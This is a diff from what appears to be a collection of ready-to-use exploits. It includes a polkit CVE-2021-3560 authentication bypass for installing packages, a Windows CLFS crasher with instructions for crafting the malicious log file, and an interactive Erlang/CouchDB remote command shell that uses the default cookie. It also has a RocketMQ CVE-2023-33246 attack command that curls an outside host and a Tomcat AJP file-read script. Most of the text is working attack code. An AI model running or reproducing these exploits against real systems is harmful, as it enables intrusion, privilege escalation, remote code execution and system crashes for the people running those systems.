#print('Checking status of %s ...' % url)
|
|
||||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
if res.status_code == 403:
|
|
||||||
print('Workaround-2105 appears to be installed')
|
|
||||||
else:
|
|
||||||
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
|
|
||||||
|
|
||||||
|
|
||||||
host = args.host
|
|
||||||
if args.noauth:
|
|
||||||
check_xml(host)
|
|
||||||
else:
|
|
||||||
defaulturi = get_default(host)
|
|
||||||
if defaulturi:
|
|
||||||
|
|
||||||
if not args.realm:
|
|
||||||
realm = get_realm(host, defaulturi)
|
|
||||||
else:
|
|
||||||
realm = args.realm
|
|
||||||
|
|
||||||
if realm:
|
|
||||||
print('Realm: %s' % realm)
|
|
||||||
if not args.user and not args.dsid:
|
|
||||||
user = input('User: ')
|
|
||||||
else:
|
|
||||||
user = args.user
|
|
||||||
if not args.password and not args.dsid:
|
|
||||||
password = getpass.getpass()
|
|
||||||
else:
|
|
||||||
password = args.password
|
|
||||||
if not args.dsid:
|
|
||||||
dsid = get_dsid(host, defaulturi, realm, user, password)
|
|
||||||
print('DSID: %s' % dsid)
|
|
||||||
else:
|
|
||||||
dsid = args.dsid
|
|
||||||
if dsid:
|
|
||||||
if not args.xsauth:
|
|
||||||
xsauth = get_xsauth(host, dsid)
|
|
||||||
print('xsauth: %s' % xsauth)
|
|
||||||
else:
|
|
||||||
xsauth = args.xsauth
|
|
||||||
if xsauth:
|
|
||||||
trigger_vul(host, dsid, xsauth)
|
|
@ -1,21 +0,0 @@
|
|||||||
# cve-2021-3560
|
|
||||||
|
|
||||||
## Vulnerability Info
|
|
||||||
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
|
|
||||||
|
|
||||||
## PackageKit Exploit
|
|
||||||
### Installing Packages
|
|
||||||
`install.py` can be used to install a package (such as gnome-control-center) bypassing authentication on systems vulnerable to CVE-2021-3560
|
|
||||||
|
|
||||||
The package ID will need to include the semicolons so the quotations are necessary. To determine a valid package id, use the included `search.py` script
|
|
||||||
|
|
||||||
On tested systems, simply running the python script results in the process being killed at the correct timing. If needed, you can add a 'time.sleep()' to the end of the script and the sleep & kill technique can be used for better timing.
|
|
||||||
### Usage
|
|
||||||
`python3 install.py 'full;package;id;here'`
|
|
||||||
|
|
||||||
|
|
||||||
### Searching For Package IDs
|
|
||||||
`search.py` is used to determine a full package id from a simple package name.
|
|
||||||
|
|
||||||
### Usage
|
|
||||||
`python3 search.py package_name(s)`
|
|
@ -1,16 +0,0 @@
|
|||||||
#usage: python3 install.py 'full;package;id;here' 'another;package;id;here'
|
|
||||||
|
|
||||||
import sys
|
|
||||||
import dbus
|
|
||||||
|
|
||||||
system_bus = dbus.SystemBus()
|
|
||||||
|
|
||||||
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
|
|
||||||
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
|
|
||||||
|
|
||||||
pk_transaction = pk_interface.CreateTransaction()
|
|
||||||
|
|
||||||
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
|
|
||||||
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
|
|
||||||
|
|
||||||
pk_transaction_interface.InstallPackages(2,sys.argv[1:])
|
|
@ -1,30 +0,0 @@
|
|||||||
#usage: python search.py packagename [more package names]
|
|
||||||
|
|
||||||
import sys
|
|
||||||
import dbus
|
|
||||||
from dbus.mainloop.glib import DBusGMainLoop
|
|
||||||
from gi.repository import GLib
|
|
||||||
|
|
||||||
def package_sh(*args, **kwargs):
|
|
||||||
print(args[1])
|
|
||||||
|
|
||||||
def destroy_sh(*args, **kwargs):
|
|
||||||
loop.quit()
|
|
||||||
|
|
||||||
DBusGMainLoop(set_as_default=True)
|
|
||||||
system_bus = dbus.SystemBus()
|
|
||||||
|
|
||||||
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
|
|
||||||
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
|
|
||||||
|
|
||||||
pk_transaction = pk_interface.CreateTransaction()
|
|
||||||
|
|
||||||
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
|
|
||||||
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
|
|
||||||
|
|
||||||
pk_transaction_interface.connect_to_signal('Package',package_sh)
|
|
||||||
pk_transaction_interface.connect_to_signal('Destroy', destroy_sh)
|
|
||||||
GLib.timeout_add(500, pk_transaction_interface.SearchNames, 0,sys.argv[1:])
|
|
||||||
|
|
||||||
loop = GLib.MainLoop()
|
|
||||||
loop.run()
|
|
@ -1,56 +0,0 @@
|
|||||||
# cve-2021-36955
|
|
||||||
|
|
||||||
## Vulnerability Info
|
|
||||||
https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/
|
|
||||||
|
|
||||||
## PoC Crasher
|
|
||||||
### Overview
|
|
||||||
The proof-of-concept is very simple, just code to open and close a log file, using `CreateLogFile()` and `CloseHandle()`.
|
|
||||||
|
|
||||||
If the log file `test_log.blf` does NOT exist it will be created.
|
|
||||||
If the log file `test_log.blf` does exist, then the existing file will be opened.
|
|
||||||
|
|
||||||
The file `test_log_crafted.blf` has been modified, such that when opened by `CreateLogFile()`, it will trigger the vulnerability on unpatched systems. The provided proof-of-concept causes a double free when `CloseHandle()` is called, resulting in a BSOD for a BAD_POOL_HEADER.
|
|
||||||
|
|
||||||
### BLF Layout
|
|
||||||
|
|
||||||
The first 0x200 bytes of test_log.blf are the important bytes. Most of these bytes are 0's (as with the rest of a default newly created file), and only matter for the purposes of the checksum.
|
|
||||||
|
|
||||||
These bytes make up a CLFS_RECORD_HEADER and a CLFS_CONTROL_RECORD.
|
|
||||||

|
|
||||||
(Screenshots are taken of the [010 Editor](https://www.sweetscape.com/010editor/))
|
|
||||||
|
|
||||||
#### Crafting the CLFS_CONTROL_RECORD
|
|
||||||
The following fields are changed from the default value of 0 to meet the conditions described in the [referenced blog post](https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/)
|
|
||||||
- `eExtendState` -> 2
|
|
||||||
- `iExtendBlock` -> 2
|
|
||||||
- `iFlushBlock` -> 3
|
|
||||||
- `cNewBlockSectors` -> 3
|
|
||||||
|
|
||||||
After updating these fields, the checksum needs to be updated
|
|
||||||
The result looks like (the changed bytes are colored orange):
|
|
||||||

|
|
||||||
|
|
||||||
##### Checksum Notes
|
|
||||||
The checksum is calculated over the first 0x200 bytes, with the checksum field zeroed out.
|
|
||||||
|
|
||||||
[Alex Ionescu documents](https://github.com/ionescu007/clfs-docs) that the CRC32 polynomial is `0x04C11DB7`.
|
|
||||||
However, after some experimentation with the 010 Editor's CRC32 tool and referencing [Michaelangel007's notes](https://github.com/Michaelangel007/crc32) the checksum can be replicated using the 'reverse' fixed polynomial `0xEDB88320`.
|
|
||||||
(This is the same polynomial, just flipped around from the perspective of 010 Editor's CRC32 implementation.)
|
|
||||||
|
|
||||||
|
|
||||||
## Files
|
|
||||||
- [scripts](./scripts)
|
|
||||||
- [BLF.bt](./scripts/BLF.bt)
|
|
||||||
A partial 010 Editor Template for BLF files
|
|
||||||
- [BLF_Checksum.1sc](./scripts/BLF_Checksum.1sc)
|
|
||||||
A 010 Editor Script for updating the Control Record Header checksum.
|
|
||||||
This script should be used after the `BLF.bt` template has been applied to the file.
|
|
||||||
- [src](./src)
|
|
||||||
- [poc.c](./src/poc.c)
|
|
||||||
A simple C program to open and close a log file.
|
|
||||||
- [Makefile](./src/Makefile)
|
|
||||||
A simple Makefile with the gcc invocation used to compile `poc.exe`
|
|
||||||
MinGW is used to compile on Windows.
|
|
||||||
- [test_log_crafted.blf](./src/test_log_crafted.blf)
|
|
||||||
a crafted version of a default BLF file created by running `poc.exe` without `test_log.blf` existing.
|
|
Before Width: | Height: | Size: 85 KiB |
Before Width: | Height: | Size: 83 KiB |
@ -1,123 +0,0 @@
|
|||||||
//------------------------------------------------
|
|
||||||
//--- 010 Editor v12.0.1 Binary Template
|
|
||||||
//
|
|
||||||
// File: BLF.bt
|
|
||||||
// Authors:
|
|
||||||
// Version:
|
|
||||||
// Purpose: 010 Editor Template for Base Log Files (BLF),
|
|
||||||
// used by the Windows CLFS
|
|
||||||
// Category:
|
|
||||||
// File Mask:
|
|
||||||
// ID Bytes:
|
|
||||||
// History:
|
|
||||||
//------------------------------------------------
|
|
||||||
typedef QWORD ULONGLONG;
|
|
||||||
typedef QWORD PUCHAR;
|
|
||||||
typedef DWORD CLFS_CLIENT_ID;
|
|
||||||
|
|
||||||
typedef QWORD CLFS_LSN;
|
|
||||||
|
|
||||||
|
|
||||||
typedef struct _CLFS_RECORD_HEADER
|
|
||||||
{
|
|
||||||
UCHAR MajorVersion <format=hex>;
|
|
||||||
UCHAR MinorVersion <format=hex>;
|
|
||||||
UCHAR Usn <format=hex>;
|
|
||||||
UCHAR StreamIndex <format=hex>;
|
|
||||||
USHORT TotalSectorCount <format=hex>;
|
|
||||||
USHORT ValidSectorCount <format=hex>;
|
|
||||||
ULONG Padding;
|
|
||||||
ULONG Checksum <format=hex>;
|
|
||||||
ULONG Flags;
|
|
||||||
ULONG Padding;
|
|
||||||
CLFS_LSN CurrentLsn <format=hex>;
|
|
||||||
CLFS_LSN NextLsn <format=hex>;
|
|
||||||
ULONG RecordOffsets[16];
|
|
||||||
ULONG SignaturesOffset;
|
|
||||||
ULONG Padding;
|
|
||||||
} CLFS_RECORD_HEADER;
|
|
||||||
|
|
||||||
|
|
||||||
typedef enum <uint64> _CLFS_METADATA_BLOCK_TYPE
|
|
||||||
{
|
|
||||||
ClfsMetaBlockControl,
|
|
||||||
ClfsMetaBlockControlShadow,
|
|
||||||
ClfsMetaBlockGeneral,
|
|
||||||
ClfsMetaBlockGeneralShadow,
|
|
||||||
ClfsMetaBlockScratch,
|
|
||||||
ClfsMetaBlockScratchShadow
|
|
||||||
} CLFS_METADATA_BLOCK_TYPE;
|
|
||||||
|
|
||||||
typedef enum _CLFS_EXTEND_STATE
|
|
||||||
{
|
|
||||||
ClfsExtendStateNone,
|
|
||||||
ClfsExtendStateExtendingFsd,
|
|
||||||
ClfsExtendStateFlushingBlock
|
|
||||||
} CLFS_EXTEND_STATE;
|
|
||||||
|
|
||||||
typedef enum _CLFS_TRUNCATE_STATE
|
|
||||||
{
|
|
||||||
ClfsTruncateStateNone,
|
|
||||||
ClfsTruncateStateModifyingStream,
|
|
||||||
ClfsTruncateStateSavingOwner,
|
|
||||||
ClfsTruncateStateModifyingOwner,
|
|
||||||
ClfsTruncateStateSavingDiscardBlock,
|
|
||||||
ClfsTruncateStateModifyingDiscardBlock
|
|
||||||
} CLFS_TRUNCATE_STATE;
|
|
||||||
|
|
||||||
typedef struct _CLFS_METADATA_RECORD_HEADER
|
|
||||||
{
|
|
||||||
ULONGLONG ullDumpCount;
|
|
||||||
} CLFS_METADATA_RECORD_HEADER;
|
|
||||||
|
|
||||||
typedef struct _CLFS_METADATA_BLOCK
|
|
||||||
{
|
|
||||||
PUCHAR pbImage <format=hex>;
|
|
||||||
ULONG cbImage <format=hex>;
|
|
||||||
ULONG cbOffset <format=hex>;
|
|
||||||
CLFS_METADATA_BLOCK_TYPE eBlockType;
|
|
||||||
} CLFS_METADATA_BLOCK;
|
|
||||||
|
|
||||||
typedef struct _CLFS_TRUNCATE_CONTEXT
|
|
||||||
{
|
|
||||||
CLFS_TRUNCATE_STATE eTruncateState;
|
|
||||||
CLFS_CLIENT_ID cClients;
|
|
||||||
CLFS_CLIENT_ID iClient;
|
|
||||||
CLFS_LSN lsnOwnerPage;
|
|
||||||
CLFS_LSN lsnLastOwnerPage;
|
|
||||||
ULONG cInvalidSector;
|
|
||||||
} CLFS_TRUNCATE_CONTEXT;
|
|
||||||
|
|
||||||
|
|
||||||
typedef struct _CLFS_CONTROL_RECORD
|
|
||||||
{
|
|
||||||
CLFS_METADATA_RECORD_HEADER hdrControlRecord;
|
|
||||||
ULONGLONG ullMagicValue <format=hex>;
|
|
||||||
UCHAR Version;
|
|
||||||
UCHAR cReserved;
|
|
||||||
UCHAR cReserved;
|
|
||||||
UCHAR cReserved;
|
|
||||||
CLFS_EXTEND_STATE eExtendState;
|
|
||||||
USHORT iExtendBlock;
|
|
||||||
USHORT iFlushBlock;
|
|
||||||
ULONG cNewBlockSectors;
|
|
||||||
ULONG cExtendStartSectors;
|
|
||||||
ULONG cExtendSectors;
|
|
||||||
CLFS_TRUNCATE_CONTEXT cxTruncate;
|
|
||||||
USHORT cBlocks;
|
|
||||||
USHORT cReserved;
|
|
||||||
ULONG cReserved;
|
|
||||||
CLFS_METADATA_BLOCK rgBlocks[cBlocks];
|
|
||||||
} CLFS_CONTROL_RECORD;
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
CLFS_RECORD_HEADER CRRecordHeader;
|
|
||||||
CLFS_CONTROL_RECORD ControlRecord;
|
|
||||||
|
|
||||||
FSeek(0x400);
|
|
||||||
CLFS_RECORD_HEADER CRSRecordHeader;
|
|
||||||
CLFS_CONTROL_RECORD ControlRecordShadow;
|
|
||||||
|
|
||||||
FSeek(0x800);
|
|
||||||
CLFS_RECORD_HEADER GRecordHeader;
|
|
@ -1,13 +0,0 @@
|
|||||||
//------------------------------------------------
|
|
||||||
//--- 010 Editor v12.0.1 Script File
|
|
||||||
//
|
|
||||||
// File:
|
|
||||||
// Authors:
|
|
||||||
// Version:
|
|
||||||
// Purpose:
|
|
||||||
// Category:
|
|
||||||
// History:
|
|
||||||
//------------------------------------------------
|
|
||||||
CRRecordHeader.Checksum = 0;
|
|
||||||
uint checksum = Checksum(CHECKSUM_CRC32,0,0x400,0xEDB88320,0xFFFFFFFF);
|
|
||||||
CRRecordHeader.Checksum = checksum;
|
|
@ -1,3 +0,0 @@
|
|||||||
# Assumes MinGW is installed
|
|
||||||
all: poc.c
|
|
||||||
gcc poc.c -o poc.exe -lClfsw32
|
|
@ -1,17 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <clfsw32.h>
|
|
||||||
|
|
||||||
int main(int argc, char** argv) {
|
|
||||||
|
|
||||||
HANDLE logHndl = CreateLogFile(L"LOG:test_log",
|
|
||||||
GENERIC_WRITE | GENERIC_READ,
|
|
||||||
0,
|
|
||||||
NULL,
|
|
||||||
OPEN_ALWAYS,
|
|
||||||
0);
|
|
||||||
|
|
||||||
CloseHandle(logHndl);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
@ -1,120 +0,0 @@
|
|||||||
#!/usr/local/bin/python3
|
|
||||||
|
|
||||||
import socket
|
|
||||||
from hashlib import md5
|
|
||||||
import struct
|
|
||||||
import sys
|
|
||||||
import re
|
|
||||||
import time
|
|
||||||
|
|
||||||
TARGET = ""
|
|
||||||
EPMD_PORT = 4369 # Default Erlang distributed port
|
|
||||||
COOKIE = "monster" # Default Erlang cookie for CouchDB
|
|
||||||
ERLNAG_PORT = 0
|
|
||||||
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
|
|
||||||
|
|
||||||
# Some data:
|
|
||||||
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
|
|
||||||
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
|
|
||||||
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
|
|
||||||
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
|
|
||||||
|
|
||||||
|
|
||||||
def compile_cmd(CMD):
|
|
||||||
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
|
|
||||||
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
|
|
||||||
MSG += struct.pack(">H", len(CMD))
|
|
||||||
MSG += bytes(CMD, 'ascii')
|
|
||||||
MSG += b'jw\x04user'
|
|
||||||
PAYLOAD = b'\x70' + CTRL_DATA + MSG
|
|
||||||
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
|
|
||||||
return PAYLOAD
|
|
||||||
|
|
||||||
print("Remote Command Execution via Erlang Distribution Protocol.\n")
|
|
||||||
|
|
||||||
while not TARGET:
|
|
||||||
TARGET = input("Enter target host:\n> ")
|
|
||||||
|
|
||||||
# Connect to EPMD:
|
|
||||||
try:
|
|
||||||
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
epm_socket.connect((TARGET, EPMD_PORT))
|
|
||||||
except socket.error as msg:
|
|
||||||
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
|
|
||||||
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
|
|
||||||
data = epm_socket.recv(1024)
|
|
||||||
data = data[0:len(data) - 1].decode('ascii')
|
|
||||||
data = data.split("\n")
|
|
||||||
if len(data) == 1:
|
|
||||||
choise = 1
|
|
||||||
print("Found " + data[0])
|
|
||||||
else:
|
|
||||||
print("\nMore than one node found, choose which one to use:")
|
|
||||||
line_number = 0
|
|
||||||
for line in data:
|
|
||||||
line_number += 1
|
|
||||||
print(" %d) %s" %(line_number, line))
|
|
||||||
choise = int(input("\n> "))
|
|
||||||
|
|
||||||
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
|
|
||||||
else:
|
|
||||||
print("Node list request error, exiting")
|
|
||||||
sys.exit(1)
|
|
||||||
epm_socket.close()
|
|
||||||
|
|
||||||
# Connect to Erlang port:
|
|
||||||
try:
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect((TARGET, ERLNAG_PORT))
|
|
||||||
except socket.error as msg:
|
|
||||||
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
s.send(NAME_MSG)
|
|
||||||
s.recv(5) # Receive "ok" message
|
|
||||||
challenge = s.recv(1024) # Receive "challenge" message
|
|
||||||
challenge = struct.unpack(">I", challenge[9:13])[0]
|
|
||||||
|
|
||||||
#print("Extracted challenge: {}".format(challenge))
|
|
||||||
|
|
||||||
# Add Challenge Digest
|
|
||||||
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
|
|
||||||
+ bytes(str(challenge), "ascii")).digest()
|
|
||||||
s.send(CHALLENGE_REPLY)
|
|
||||||
CHALLENGE_RESPONSE = s.recv(1024)
|
|
||||||
|
|
||||||
if len(CHALLENGE_RESPONSE) == 0:
|
|
||||||
print("Authentication failed, exiting")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("Authentication successful")
|
|
||||||
print("Enter command:\n")
|
|
||||||
|
|
||||||
data_size = 0
|
|
||||||
while True:
|
|
||||||
if data_size <= 0:
|
|
||||||
CMD = input("> ")
|
|
||||||
if not CMD:
|
|
||||||
continue
|
|
||||||
elif CMD == "exit":
|
|
||||||
sys.exit(0)
|
|
||||||
s.send(compile_cmd(CMD))
|
|
||||||
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
|
|
||||||
s.recv(45) # Control message
|
|
||||||
data_size -= 45 # Data size without control message
|
|
||||||
time.sleep(0.1)
|
|
||||||
elif data_size < 1024:
|
|
||||||
data = s.recv(data_size)
|
|
||||||
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
|
||||||
time.sleep(0.1)
|
|
||||||
print(data.decode())
|
|
||||||
data_size = 0
|
|
||||||
else:
|
|
||||||
data = s.recv(1024)
|
|
||||||
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
|
|
||||||
time.sleep(0.1)
|
|
||||||
print(data.decode(),end = '')
|
|
||||||
data_size -= 1024
|
|
@ -1,24 +0,0 @@
|
|||||||
|
|
||||||
# CVE-2023-33246
|
|
||||||
|
|
||||||
## 影响版本
|
|
||||||
Apache RocketMQ through 5.1.0
|
|
||||||
|
|
||||||
## 修复方案
|
|
||||||
upgrade to version 5.1.1 above for using RocketMQ 5.x
|
|
||||||
4.9.6 above for using RocketMQ 4.x
|
|
||||||
|
|
||||||
## check
|
|
||||||
```python
|
|
||||||
python check.py --ip 127.0.0.1
|
|
||||||
```
|
|
||||||
|
|
||||||
## exp
|
|
||||||
```python
|
|
||||||
python check.py --file test.txt --attack --command "curl x.x.x.x"
|
|
||||||
```
|
|
||||||
利用带外显示结果
|
|
||||||
|
|
||||||
## 更新记录
|
|
||||||
1. 重新优化check 和exp 脚本,合并功能
|
|
||||||
2. 添加java 版本的检测程序
|
|
BIN
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png
Normal file
After Width: | Height: | Size: 256 KiB |
BIN
03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png
Normal file
After Width: | Height: | Size: 30 KiB |
@ -1,20 +1,15 @@
|
|||||||
# Apache-Tomcat-Ajp LFI
|
# 影响版本</br>
|
||||||
## 漏洞编号
|
Apache Tomcat 6</br>
|
||||||
CVE-2020-1938 / CNVD-2020-10487
|
Apache Tomcat 7 < 7.0.100</br>
|
||||||
## 影响版本
|
Apache Tomcat 8 < 8.5.51</br>
|
||||||
* Apache Tomcat 6
|
Apache Tomcat 9 < 9.0.31</br>
|
||||||
* Apache Tomcat 7 < 7.0.100
|
# 漏洞复现</br>
|
||||||
* Apache Tomcat 8 < 8.5.51
|
首先启动apache tamcat服务,访问localhost:8080可以成功访问如下界面
|
||||||
* Apache Tomcat 9 < 9.0.31
|
</br>
|
||||||
## 漏洞复现
|
端口扫描发现8009 8080端口开启,证明有该漏洞。</br>
|
||||||
1. 启动apache tomcat服务,访问localhost:8080可以成功访问如下界面
|
接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。</br>
|
||||||

|
命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml</br>
|
||||||
2. 端口扫描发现8009 8080端口开启,同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。
|
执行成功后可以看到成功访问到该文件。</br>
|
||||||
3. 执行poc 脚本:
|
</br>
|
||||||
```shell
|
|
||||||
python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read
|
|
||||||
```
|
|
||||||
4. 执行成功后可以看到成功访问到该文件
|
|
||||||

|
|
||||||
|
|
||||||
|
|
||||||
|
@ -0,0 +1,302 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
#CNVD-2020-10487 Tomcat-Ajp lfi
|
||||||
|
#by ydhcui
|
||||||
|
import struct
|
||||||
|
|
||||||
|
# Some references:
|
||||||
|
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
|
||||||
|
def pack_string(s):
|
||||||
|
if s is None:
|
||||||
|
return struct.pack(">h", -1)
|
||||||
|
l = len(s)
|
||||||
|
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
|
||||||
|
def unpack(stream, fmt):
|
||||||
|
size = struct.calcsize(fmt)
|
||||||
|
buf = stream.read(size)
|
||||||
|
return struct.unpack(fmt, buf)
|
||||||
|
def unpack_string(stream):
|
||||||
|
size, = unpack(stream, ">h")
|
||||||
|
if size == -1: # null string
|
||||||
|
return None
|
||||||
|
res, = unpack(stream, "%ds" % size)
|
||||||
|
stream.read(1) # \0
|
||||||
|
return res
|
||||||
|
class NotFoundException(Exception):
|
||||||
|
pass
|
||||||
|
class AjpBodyRequest(object):
|
||||||
|
# server == web server, container == servlet
|
||||||
|
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||||
|
MAX_REQUEST_LENGTH = 8186
|
||||||
|
def __init__(self, data_stream, data_len, data_direction=None):
|
||||||
|
self.data_stream = data_stream
|
||||||
|
self.data_len = data_len
|
||||||
|
self.data_direction = data_direction
|
||||||
|
def serialize(self):
|
||||||
|
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
|
||||||
|
if len(data) == 0:
|
||||||
|
return struct.pack(">bbH", 0x12, 0x34, 0x00)
|
||||||
|
else:
|
||||||
|
res = struct.pack(">H", len(data))
|
||||||
|
res += data
|
||||||
|
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
|
||||||
|
header = struct.pack(">bbH", 0x12, 0x34, len(res))
|
||||||
|
else:
|
||||||
|
header = struct.pack(">bbH", 0x41, 0x42, len(res))
|
||||||
|
return header + res
|
||||||
|
def send_and_receive(self, socket, stream):
|
||||||
|
while True:
|
||||||
|
data = self.serialize()
|
||||||
|
socket.send(data)
|
||||||
|
r = AjpResponse.receive(stream)
|
||||||
|
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
|
||||||
|
r = AjpResponse.receive(stream)
|
||||||
|
|
||||||
|
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
|
||||||
|
break
|
||||||
|
class AjpForwardRequest(object):
|
||||||
|
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
|
||||||
|
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
|
||||||
|
# server == web server, container == servlet
|
||||||
|
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
|
||||||
|
COMMON_HEADERS = ["SC_REQ_ACCEPT",
|
||||||
|
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
|
||||||
|
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
|
||||||
|
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
|
||||||
|
]
|
||||||
|
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
|
||||||
|
def __init__(self, data_direction=None):
|
||||||
|
self.prefix_code = 0x02
|
||||||
|
self.method = None
|
||||||
|
self.protocol = None
|
||||||
|
self.req_uri = None
|
||||||
|
self.remote_addr = None
|
||||||
|
self.remote_host = None
|
||||||
|
self.server_name = None
|
||||||
|
self.server_port = None
|
||||||
|
self.is_ssl = None
|
||||||
|
self.num_headers = None
|
||||||
|
self.request_headers = None
|
||||||
|
self.attributes = None
|
||||||
|
self.data_direction = data_direction
|
||||||
|
def pack_headers(self):
|
||||||
|
self.num_headers = len(self.request_headers)
|
||||||
|
res = ""
|
||||||
|
res = struct.pack(">h", self.num_headers)
|
||||||
|
for h_name in self.request_headers:
|
||||||
|
if h_name.startswith("SC_REQ"):
|
||||||
|
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
|
||||||
|
res += struct.pack("BB", 0xA0, code)
|
||||||
|
else:
|
||||||
|
res += pack_string(h_name)
|
||||||
|
|
||||||
|
res += pack_string(self.request_headers[h_name])
|
||||||
|
return res
|
||||||
|
|
||||||
|
def pack_attributes(self):
|
||||||
|
res = b""
|
||||||
|
for attr in self.attributes:
|
||||||
|
a_name = attr['name']
|
||||||
|
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
|
||||||
|
res += struct.pack("b", code)
|
||||||
|
if a_name == "req_attribute":
|
||||||
|
aa_name, a_value = attr['value']
|
||||||
|
res += pack_string(aa_name)
|
||||||
|
res += pack_string(a_value)
|
||||||
|
else:
|
||||||
|
res += pack_string(attr['value'])
|
||||||
|
res += struct.pack("B", 0xFF)
|
||||||
|
return res
|
||||||
|
def serialize(self):
|
||||||
|
res = ""
|
||||||
|
res = struct.pack("bb", self.prefix_code, self.method)
|
||||||
|
res += pack_string(self.protocol)
|
||||||
|
res += pack_string(self.req_uri)
|
||||||
|
res += pack_string(self.remote_addr)
|
||||||
|
res += pack_string(self.remote_host)
|
||||||
|
res += pack_string(self.server_name)
|
||||||
|
res += struct.pack(">h", self.server_port)
|
||||||
|
res += struct.pack("?", self.is_ssl)
|
||||||
|
res += self.pack_headers()
|
||||||
|
res += self.pack_attributes()
|
||||||
|
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
|
||||||
|
header = struct.pack(">bbh", 0x12, 0x34, len(res))
|
||||||
|
else:
|
||||||
|
header = struct.pack(">bbh", 0x41, 0x42, len(res))
|
||||||
|
return header + res
|
||||||
|
def parse(self, raw_packet):
|
||||||
|
stream = StringIO(raw_packet)
|
||||||
|
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
|
||||||
|
self.prefix_code, self.method = unpack(stream, "bb")
|
||||||
|
self.protocol = unpack_string(stream)
|
||||||
|
self.req_uri = unpack_string(stream)
|
||||||
|
self.remote_addr = unpack_string(stream)
|
||||||
|
self.remote_host = unpack_string(stream)
|
||||||
|
self.server_name = unpack_string(stream)
|
||||||
|
self.server_port = unpack(stream, ">h")
|
